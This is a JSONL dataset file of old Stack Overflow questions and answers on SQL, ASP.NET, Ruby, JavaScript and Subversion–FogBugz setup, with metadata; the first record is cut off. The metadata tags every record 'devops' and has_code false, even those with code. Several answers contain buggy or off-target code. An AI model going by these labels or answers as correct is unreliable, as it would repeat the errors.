at your fingertips. The main problem with Task tracking programs - be it FogBugz, Outlook, Excel or just notepad - is that they take up screen space, and my two monitors are usually full with Visual Studio, e-Mail, Web Browsers, some Notepads etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.631037"}
{"id": "hf_d2b84cd293e3", "question": "<p>If I have data like this:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Key</th>\n<th>Name</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1</td>\n<td>Dan</td>\n</tr>\n<tr>\n<td>2</td>\n<td>Tom</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Jon</td>\n</tr>\n<tr>\n<td>4</td>\n<td>Tom</td>\n</tr>\n<tr>\n<td>5</td>\n<td>Sam</td>\n</tr>\n<tr>\n<td>6</td>\n<td>Dan</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>What is the SQL query to bring back the records where <code>Name</code> is repeated 2 or more times?</p>\n<p>So the result I would want is</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Tom</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Dan</td>\n</tr>\n</tbody>\n</table>\n</div>", "question_body": "", "answer": "Couldn't be simpler...\n```\n```\nSelect Name, Count(Name) As Count \n    From Table\n    Group By Name\n    Having Count(Name) > 1\n    Order By Count(Name) Desc\n```\n```\nThis could also be extended to delete duplicates:\n```\n```\nDelete From Table\nWhere Key In (\n    Select Max(Key)\n        From Table\n        Group By Name\n        Having Count(Name) > 1\n    )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.654531"}
{"id": "hf_74154c9a884d", "question": "<p>Is there an efficient method of converting an integer into the written numbers, for example:</p>\n\n<pre><code>string Written = IntegerToWritten(21);\n</code></pre>\n\n<p>would return \"Twenty One\".</p>\n\n<p>Is there any way of doing this that doesn't involve a massive look-up table?</p>\n", "question_body": "", "answer": "why massive lookup table?\n```\n```\nstring GetWrittenInteger(int n)\n{\n  string[] a = new string[] {\"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\" }\n  string[] b = new string[] { \"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\" }\n  string[] c = new string[] {\"Twenty\", \"Thirty\", \"Forty\", \"Sixty\", \"Seventy\", \"Eighty\", \"Ninety\"};\n  string[] d = new string[] {\"Hundred\", \"Thousand\", \"Million\"}\n  string s = n.ToString();\n\n  for (int i = 0; i < s.Length; i++)\n  {\n    // logic (too lazy but you get the idea)\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.678046"}
{"id": "hf_af091bf42fa1", "question": "<p>How would one display any add content from a \"dynamic\" aspx page? Currently I am working on using the System.Web.HttpResponse \"Page.Response\" to write a file that is stored on a web server to a web request.</p>\n\n<p>This would allow people to hit a url to the type <a href=\"http://www.foo.com?Image=test.jpg\" rel=\"noreferrer\">http://www.foo.com?Image=test.jpg</a> and have the image display in their browser. So as you may know this revolves around the use of Response.ContentType.</p>\n\n<p>By using </p>\n\n<pre><code>Response.ContentType = \"application/octet-stream\";\n</code></pre>\n\n<p>I am able to display images of type gif/jpeg/png (all i have tested so far), bit trying to display .swf or .ico files gives me a nice little error.</p>\n\n<p>using</p>\n\n<pre><code>Response.ContentType = \"application/x-shockwave-flash\";\n</code></pre>\n\n<p>I can get flash files to play, but then the images are messed.</p>\n\n<p>So how do i <strong>easily</strong> choose the contenttype?</p>\n", "question_body": "", "answer": "This is part of a solution I use on a local intranet. Some of the variables you will have to collect yourself as I pull them from a database but you may pull them from somewhere else.\nThe only extra but I've got in there is a function called\ngetMimeType\nwhich connects to the database and pulls back the correct mine type based on file extension. This defaults to application/octet-stream if none is found.\n```\n```\n// Clear the response buffer incase there is anything already in it.\nResponse.Clear();\nResponse.Buffer = true;\n\n// Read the original file from disk\nFileStream myFileStream = new FileStream(sPath, FileMode.Open);\nlong FileSize = myFileStream.Length;\nbyte[] Buffer = new byte[(int)FileSize];\nmyFileStream.Read(Buffer, 0, (int)FileSize);\nmyFileStream.Close();\n\n// Tell the browse stuff about the file\nResponse.AddHeader(\"Content-Length\", FileSize.ToString());\nResponse.AddHeader(\"Content-Disposition\", \"inline; filename=\" + sFilename.Replace(\" \",\"_\"));\nResponse.ContentType = getMimeType(sExtention, oConnection);\n\n// Send the data to the browser\nResponse.BinaryWrite(Buffer);\nResponse.End();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.740930"}
{"id": "hf_7be707013e64", "question": "<p>Most people with a degree in CS will certainly know what <a href=\"http://www.nist.gov/dads/HTML/bigOnotation.html\" rel=\"noreferrer\">Big O stands for</a>.\nIt helps us to measure how well an algorithm scales. </p>\n\n<p>But I'm curious, how do <em>you</em> calculate or approximate the complexity of your algorithms?</p>\n", "question_body": "", "answer": "Familiarity with the algorithms/data structures I use and/or quick glance analysis of iteration nesting.  The difficulty is when you call a library function, possibly multiple times - you can often be unsure of whether you are calling the function unnecessarily at times or what implementation they are using.  Maybe library functions should have a complexity/efficiency measure, whether that be Big O or some other metric, that is available in documentation or even\nIntelliSense\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.765545"}
{"id": "hf_12f64b8227c9", "question": "<p>I'm wondering if there's a way to do what I can do below with Python, in Ruby:</p>\n\n<pre><code>sum = reduce(lambda x, y: x + y, map(lambda x, y: x * y, weights, data))\n</code></pre>\n\n<p>I have two arrays of equal sizes with the weights and data but I can't seem to find a function similar to map in Ruby, reduce I have working.</p>\n", "question_body": "", "answer": "The Array.zip function does an elementwise combination of arrays. It's not quite as clean as the Python syntax, but here's one approach you could use:\n```\n```\nweights = [1, 2, 3]\ndata = [4, 5, 6]\nresult = Array.new\na.zip(b) { |x, y| result << x * y } # For just the one operation\n\nsum = 0\na.zip(b) { |x, y| sum += x * y } # For both operations\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.812943"}
{"id": "hf_dc0442f8087c", "question": "<p>I've been working with <a href=\"http://msdn.microsoft.com/en-us/library/aa479030.aspx\" rel=\"noreferrer\">providers</a> a fair bit lately, and I came across an interesting situation where I wanted to have an abstract class that had an abstract static method. I read a few posts on the topic, and it sort of made sense, but is there a nice clear explanation?</p>\n", "question_body": "", "answer": "Static methods cannot be inherited or overridden, and that is why they can't be abstract. Since static methods are defined on the type, not the instance, of a class, they must be called explicitly on that type. So when you want to call a method on a child class, you need to use its name to call it. This makes inheritance irrelevant.\nAssume you could, for a moment, inherit static methods. Imagine this scenario:\n```\n```\npublic static class Base\n{\n    public static virtual int GetNumber() { return 5; }\n}\n\npublic static class Child1 : Base\n{\n    public static override int GetNumber() { return 1; }\n}\n\npublic static class Child2 : Base\n{\n    public static override int GetNumber() { return 2; }\n}\n```\n```\nIf you call Base.GetNumber(), which method would be called? Which value returned? It's pretty easy to see that without creating instances of objects, inheritance is rather hard. Abstract methods without inheritance are just methods that don't have a body, so can't be called.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.836745"}
{"id": "hf_8ed0e33b8232", "question": "<p>How can I set the background color of an HTML element using css in JavaScript?</p>\n", "question_body": "", "answer": "```\n```\nvar element = document.getElementById('element');\nelement.style.background = '#FF00AA';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.873298"}
{"id": "hf_e00fc46f3a15", "question": "<p>I would like to be able to use the <kbd>Tab</kbd> key within a text box to tab over four spaces. The way it is now, the Tab key jumps my cursor to the next input.</p>\n\n<p>Is there some JavaScript that will capture the Tab key in the text box before it bubbles up to the UI?</p>\n\n<p>I understand some browsers (i.e. FireFox) may not allow this. How about a custom key-combo like <kbd>Shift</kbd>+<kbd>Tab</kbd>, or <kbd>Ctrl</kbd>+<kbd>Q</kbd>?</p>\n", "question_body": "", "answer": "The previous answer is fine, but I'm one of those guys that's firmly against mixing behavior with presentation (putting JavaScript in my HTML) so I prefer to put my event handling logic in my JavaScript files. Additionally, not all browsers implement event (or e) the same way. You may want to do a check prior to running any logic:\n```\n```\ndocument.onkeydown = TabExample;\n\nfunction TabExample(evt) {\n  var evt = (evt) ? evt : ((event) ? event : null);\n  var tabKey = 9;\n  if(evt.keyCode == tabKey) {\n    // do work\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.897167"}
{"id": "hf_3f3159c0f844", "question": "<p>I know that you can insert multiple rows at once, is there a way to update multiple rows at once (as in, in one query) in MySQL?</p>\n\n<p>Edit:\nFor example I have the following</p>\n\n<pre><code>Name   id  Col1  Col2\nRow1   1    6     1\nRow2   2    2     3\nRow3   3    9     5\nRow4   4    16    8\n</code></pre>\n\n<p>I want to combine all the following Updates into one query</p>\n\n<pre><code>UPDATE table SET Col1 = 1 WHERE id = 1;\nUPDATE table SET Col1 = 2 WHERE id = 2;\nUPDATE table SET Col2 = 3 WHERE id = 3;\nUPDATE table SET Col1 = 10 WHERE id = 4;\nUPDATE table SET Col2 = 12 WHERE id = 4;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nUPDATE table1, table2 SET table1.col1='value', table2.col1='value' WHERE table1.col3='567' AND table2.col6='567'\n```\n```\nThis should work for ya.\nThere is a reference in\nthe MySQL manual\nfor multiple tables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.977427"}
{"id": "hf_cde94e7ec810", "question": "<p>I've noticed a lot of sites, SO included, use XHTML as their mark-up language and then fail to adhere to the spec. Just browsing the source for SO there are missing closing tags for paragraphs, invalid elements, etc.</p>\n\n<p>So should tools (and developers) use the XHTML doctype if they are going to produce invalid mark up? And should browsers be more firm in their acceptance of poor mark-up?</p>\n\n<p>And before anyone shouts hypocrite, my blog has one piece of invalid mark-up involving the captha (or it did the last time I checked) which involves styling the noscript tag.</p>\n", "question_body": "", "answer": "It depends. I had that\nissue with my blog\nwhere a YouTube video caused invalid XHTML, but it rendered fine. On the other hand, I have a \"Valid XHTML\" link, and a combination of a \"Valid XHTML\" claim and invalid XHTML is not professional.\nAs SO does not claim to be valid, I think it's acceptable, but personally if I were Jeff i would be bothered and try to fix it even if it looks good in modern browsers, but some people rather just move on and actually get things done instead of fixing non-existent bugs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.014494"}
{"id": "hf_a50cd17f2bcd", "question": "<p>How can I connect to a remote SQL server using Mac OS X? I don't really need a GUI, but it would be nice to have for the color coding and resultset grid. I'd rather not have to use a VM.</p>\n\n<p>Is there a SQL client for Mac OS X that works with MS SQL Server?</p>\n", "question_body": "", "answer": "This doesn't specifically answer your question, because I'm not sure in any clients exist in Mac OS X, but I generally just\nRemote Desktop\ninto the server and work through that. Another option is\nVMware Fusion\n(which is much better than\nParallels\nin my opinion) + Windows XP +\nSQL Server Management Studio\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.039451"}
{"id": "hf_2d4e1eb85b2b", "question": "<p>I have a very simple problem which requires a very quick and simple solution in SQL Server 2005.</p>\n\n<p>I have a table with x Columns. I want to be able to select one row from the table and then transform the columns into rows.</p>\n\n<pre><code>TableA\nColumn1, Column2, Column3\n</code></pre>\n\n<p>SQL Statement to ruturn</p>\n\n<pre><code>ResultA\nValue of Column1\nValue of Column2\nValue of Column3\n</code></pre>\n\n<hr>\n\n<p><strong>@Kevin:</strong> I've had a google search on the topic but alot of the example where overly complex for my example, <strong>are you able to help further?</strong></p>\n\n<p>@Mario: The solution I am creating has 10 columns which stores the values 0 to 6 and I must work out how many columns have the value 3 or more. So I thought about creating a query to turn that into rows and then using the generated table in a subquery to say count the number of rows with Column >= 3</p>\n", "question_body": "", "answer": "You should take a look at the UNPIVOT clause.\nUpdate1\n: GateKiller, strangely enough I read an article (about something unrelated) about it this morning and I'm trying to jog my memory where I saw it again, had some decent looking examples too. It'll come back to me I'm sure.\nUpdate2\n: Found it:\nhttp://weblogs.sqlteam.com/jeffs/archive/2008/04/23/unpivot.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.064059"}
{"id": "hf_c64e1d97c8e5", "question": "<p>What is BODMAS and why is it useful in programming?</p>\n", "question_body": "", "answer": "http://www.easymaths.com/What_on_earth_is_Bodmas.htm\n:\nWhat do you think the answer to 2 + 3 x 5 is?\nIs it (2 + 3) x 5 = 5 x 5 = 25 ?\nor 2 + (3 x 5) = 2 + 15 = 17 ?\nBODMAS can come to the rescue and give us rules to follow so that we always get the right answer:\n(B)rackets (O)rder (D)ivision (M)ultiplication (A)ddition (S)ubtraction\nAccording to BODMAS, multiplication should always be done before addition, therefore 17 is actually the correct answer according to BODMAS and will also be the answer which your calculator will give if you type in 2 + 3 x 5 .\nWhy it is useful in programming? No idea, but i assume it's because you can get rid of some brackets? I am a quite defensive programmer, so my lines can look like this:\n```\n```\nresult = (((i + 4) - (a + b)) * MAGIC_NUMBER) - ANOTHER_MAGIC_NUMBER;\n```\n```\nwith BODMAS you can make this a bit clearer:\n```\n```\nresult = (i + 4 - (a + b)) * MAGIC_NUMBER - ANOTHER_MAGIC_NUMBER;\n```\n```\nI think i'd still use the first variant - more brackets, but that way i do not have to learn yet another rule and i run into less risk of forgetting it and causing those weird hard to debug errors?\nJust guessing at that part though.\nMike Stone EDIT: Fixed math as Gaius points out", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.105117"}
{"id": "hf_973ad31cd9b6", "question": "<p>I'm using MSVE, and I have my own tiles I'm displaying in layers on top. Problem is, there's a ton of them, and they're on a network server. In certain directories, there are something on the order of 30,000+ files. Initially I called Directory.GetFiles, but once I started testing in a pseudo-real environment, it timed out.</p>\n\n<p>What's the best way to programatically list, and iterate through, this many files?</p>\n\n<p>Edit: My coworker suggested using the MS indexing service. Has anyone tried this approach, and (how) has it worked?</p>\n", "question_body": "", "answer": "I've worked on a SAN system in the past with telephony audio recordings which had issues with numbers of files in a single folder - that system became unusable somewhere near 5,000 (on Windows 2000 Advanced Server with an application in C#.Net 1.1)- the only sensible solution that we came up with was to change the folder structure so that there were a more reasonable number of files. Interestingly Explorer would also time out!\nThe convention we came up with was a structure that broke the structure up in years, months and days - but that will depend upon your system and whether you can control the directory structure...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.131101"}
{"id": "hf_0203888a05f3", "question": "<p>I have a <code>Rakefile</code> with a Rake task that I would normally call from the command line:</p>\n\n<pre><code>rake blog:post Title\n</code></pre>\n\n<p>I'd like to write a Ruby script that calls that Rake task multiple times, but the only solution I see is shelling out using `` (backticks) or <code>system</code>.</p>\n\n<p>What's the right way to do this?</p>\n", "question_body": "", "answer": "from\ntimocracy.com\n:\n```\n```\nrequire 'rake'\n\ndef capture_stdout\n  s = StringIO.new\n  oldstdout = $stdout\n  $stdout = s\n  yield\n  s.string\nensure\n  $stdout = oldstdout\nend\n\nRake.application.rake_require 'metric_fetcher', ['../../lib/tasks']\nresults = capture_stdout {Rake.application['metric_fetcher'].invoke}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.155573"}
{"id": "hf_c28f1ef4463d", "question": "<p>In SQL Server how do you query a database to bring back all the tables that have a field of a specific name?</p>\n", "question_body": "", "answer": "```\n```\nSELECT Table_Name\nFROM Information_Schema.Columns\nWHERE Column_Name = 'YourFieldName'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.193198"}
{"id": "hf_ce2fdf06584c", "question": "<p>I want to create my Rails application with MySQL, because I like it so much. How can I do that in the latest version of Rails instead of the default SQLite?</p>\n", "question_body": "", "answer": "Normally, you would create a new Rails app using\n```\n```\nrails ProjectName\n```\n```\nTo use MySQL, use\n```\n```\nrails new ProjectName -d mysql\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.223597"}
{"id": "hf_d56c24b1129b", "question": "<p>I've got TotroiseSVN installed and have a majority of my repositories checking in and out from C:\\subversion\\ <em>and a couple checking in and out from a network share (I forgot about this when I originally posted this question)</em>.</p>\n\n<p>This means that I don't have a \"subversion\" server per-se.</p>\n\n<p>How do I integrate TortoiseSVN and Fogbugz?</p>\n\n<p><em>Edit: inserted italics</em></p>\n", "question_body": "", "answer": "This answer is incomplete and flawed! It only works from TortoisSVN to Fogbugz, but not the other way around. I still need to know how to get it to work backwards from Fogbugz (like it's designed to) so that I can see the Revision number a bug is addressed in from Fogbugz while looking at a bug.\nHelpful URLS\nhttp://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug-propertypage.html\nhttp://tortoisesvn.net/issuetracker_integration\nSet the \"Hooks\"\nGo into your fogbugz account and click Extras > Configure Source Control Integration\nDownload \"post-commit.bat\" and the VBScript file for Subversion\nCreate a \"hooks\" directory in a common easily accessed location (preferably with no spaces in the file path)\nPlace a copy of the files in the hooks directories\nRename the files without the \".safe\" extension\nRight click on any directory.\nSelect \"TortoiseSVN > Settings\" (in the right click menu from the last step)\nSelect \"Hook Scripts\"\nClick \"Add\"\nSet the properties thus:\nHook Type: Post-Commit Hook\nWorking Copy Path: C:\\\\Projects (or whatever your root directory for all of your projects is. If you have multiple you will need to do this step for each one.)\nCommand Line To Execute: C:\\\\subversion\\\\hooks\\\\post-commit.bat (this needs to point to wherever you put your hooks directory from step 3)\nI also selected the checkbox to Wait for the script to finish...\nWARNING: Don't forget the double back-slash! \"\\\\\"\nClick OK...\nNote: the screenshot is different, follow the text for the file paths, NOT the screenshot...\nAt this point it would seem you could click \"Issue Tracker Integration\" and select Fogbugz. nope. It just returns \"There are no issue-tracker providers available\".\nClick \"OK\" to close the whole\nsettings dialogue window\nConfigure the Properties\nOnce again, Right click on the root directory of the checked out\nproject you want to work with (you need to do this \"configure the properties\" step for each project -- See \"Migrating Properties Between Projects\" below)\nSelect \"TortoiseSVN > Properties\" (in the right click menu\nfrom the last step)\nAdd five property value pairs by clicking \"New...\" and inserting the\nfollowing in \"Property Name\" and\n\"Property Value\" respectively:\nbugtraq:label BugzID:\nbugtraq:message   BugzID: %%BUGID%%\nbugtraq:number    true\nbugtraq:url\nhttp://[your\nfogbugz URL\n  here]/default.asp?%BUGID%\nbugtraq:warnifnoissue false\nClick \"OK\"\nCommiting Changes and Viewing the Logs\nNow when you are commiting, you can specify one bug that the commit addresses. This kind of forces you to commit after fixing each bug...\nWhen you view the log (Right click root of project, TortoiseSVN > show log) you can see the bug id that each checking corresponds to (1), and you can click the bug id number to be taken to fogbugz to view that bug automatically if you are looking at the actual log message. Pretty nifty!\nMigrating Properties Between Projects\nRight click on a project that already has the proper Properties configuration\nSelect \"TortoiseSVN > Properties\" (from the right-click menu from step 1)\nHighlight all of the desired properties\nClick \"Export\"\nName the file after the property, and place in an easily accessible directory (I placed mine with the hooks files)\nRight click on the root directory of the checked out project needing properties set for.\nClick \"Import\"\nSelect the file you exported in step 4 above\nClick Open", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.259696"}
{"id": "hf_d2489057706b", "question": "<p>When developing a new web based application which version of html should you aim for?</p>\n\n<p>EDIT:</p>\n\n<p>cool I was just attempting to get a feel from others I tend to use XHTML 1.0 Strict in my own work and Transitional when others are involved in the content creation.</p>\n\n<p>I marked the first XHTML 1.0 Transitional post as the 'correct answer' but believe strongly that all the answers given at that point where equally valid.</p>\n", "question_body": "", "answer": "I'd shoot for XHTML Transitional 1.0. There are still a few nuances out there that don't like XHTML strict, and most editors I've seen now will give you the proper nudges to make sure that things are done right.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.329534"}
{"id": "hf_cf39ab71ba88", "question": "<p>(y/N)</p>\n\n<p>Edit: Read-only access is fine.</p>\n", "question_body": "", "answer": "If your willing to force the user to also install another application, you could write a small C# or C++ windows service that simply opens a Socket that provides some kind of protocol for accessing the registry. Then in AIR you can use the Socket class to send messages to/from the C# service that would return results to the AIR app.\nWhen the app loads you can try to connect to the Socket, and if the connection is rejected you could prompt the user to download/install the service.\nAs for direct access to the registry I am pretty sure Adobe wouldn't allow that from AIR.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.353791"}
{"id": "hf_0339da3a39b3", "question": "<p>I have a MySQL table with approximately 3000 rows per user. One of the columns is a datetime field, which is mutable, so the rows aren't in chronological order.</p>\n\n<p>I'd like to visualize the time distribution in a chart, so I need a number of individual datapoints. 20 datapoints would be enough.</p>\n\n<p>I could do this:</p>\n\n<pre><code>select timefield from entries where uid = ? order by timefield;\n</code></pre>\n\n<p>and look at every 150th row.</p>\n\n<p>Or I could do 20 separate queries and use <code>limit 1</code> and <code>offset</code>. </p>\n\n<p>But there must be a more efficient solution...</p>\n", "question_body": "", "answer": "Something like this came to my mind\n```\n```\nselect @rownum:=@rownum+1 rownum, entries.* \nfrom (select @rownum:=0) r, entries \nwhere uid = ? and rownum % 150 = 0\n```\n```\nI don't have MySQL at my hand but maybe this will help ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.389585"}
{"id": "hf_634c9407aeba", "question": "<p>I'm writing a web page in ASP.NET. I have some JavaScript code, and I have a submit button with a click event.</p>\n\n<p>Is it possible to call a method I created in ASP with JavaScript's click event?</p>\n", "question_body": "", "answer": "You can do it asynchronously using .NET Ajax PageMethods. See\nhere\nor\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.417406"}
{"id": "hf_771d9a1d3f60", "question": "<p>So I'm using an app that stores images heavily in the DB. What's your outlook on this? I'm more of a type to store the location in the filesystem, than store it directly in the DB.</p>\n\n<p>What do you think are the pros/cons?          </p>\n", "question_body": "", "answer": "I'm in charge of some applications that manage many TB of images.  We've found that storing\nfile paths\nin the database to be best.\nThere are a couple of issues:\ndatabase storage is usually more expensive than file system storage\nyou can super-accelerate file system access with standard off the shelf products\nfor example, many web servers use the operating system's\nsendfile()\nsystem call to asynchronously send a file directly from the file system to the network interface. Images stored in a database don't benefit from this optimization.\nthings like web servers, etc, need no special coding or processing to access images in the file system\ndatabases win out where transactional integrity between the image and metadata are important.\nit is more complex to manage integrity between db metadata and file system data\nit is difficult (within the context of a web application) to guarantee data has been flushed to disk on the filesystem", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.466395"}
{"id": "hf_48a66410acc1", "question": "<p>When prototyping initial GUI functionality with a customer is it better to use a pen/paper drawing or to mock something up using a tool and show them that ?</p>\n\n<p>The argument against a tool generated design being that the customer can sometimes focus on the low-level specifics of the mock-up rather than taking a higher level functional view of the GUI overall.</p>\n", "question_body": "", "answer": "Always start with paper or paper-like mock-ups first.  You do not want to fall into a trap of giving the impression of completeness when the back-end is completely hollow.\nA polished prototype or pixel-perfect example puts too much emphasis on the design.  With an obvious sketch, you have a better shot of discussing desired functionality and content rather than colors, photos, and other stylistic matters.  There will be time for that discussion later in the project.\nJeff discusses paper prototyping in his Coding Horror article\nUI-First Software Development\nClick the \"Watch a video!\" link at\ntwitter.com\nto see an interesting take on the idea from\nCommon Craft\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.491066"}
{"id": "hf_366e6c4aa405", "question": "<p>I'm trying out the following query:</p>\n\n<pre><code>SELECT A,B,C FROM table WHERE field LIKE 'query%'\nUNION\nSELECT A,B,C FROM table WHERE field LIKE '%query'\nUNION\nSELECT A,B,C FROM table WHERE field LIKE '%query%'\nGROUP BY B ORDER BY B ASC LIMIT 5\n</code></pre>\n\n<p>That's three queries stuck together, kinda sorta. However, the result set that comes back reflects results from query #3 before the results from query #1 which is undesired.</p>\n\n<p>Is there any way to prioritize these so that results come as all for query #1, then all for query #2 then all for query #3? I don't want to do this in PHP just yet (not to mention having to control for results that showed up in the first query not to show in the second and so forth).</p>\n", "question_body": "", "answer": "Can you do it as a subselect, something like\n```\n```\nSELECT * FROM (\n    SELECT A,B,C FROM table WHERE field LIKE 'query%'\n    UNION\n    SELECT A,B,C FROM table WHERE field LIKE '%query'\n    UNION\n    SELECT A,B,C FROM table WHERE field LIKE '%query%'\n) ORDER BY B ASC LIMIT 5\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.603668"}
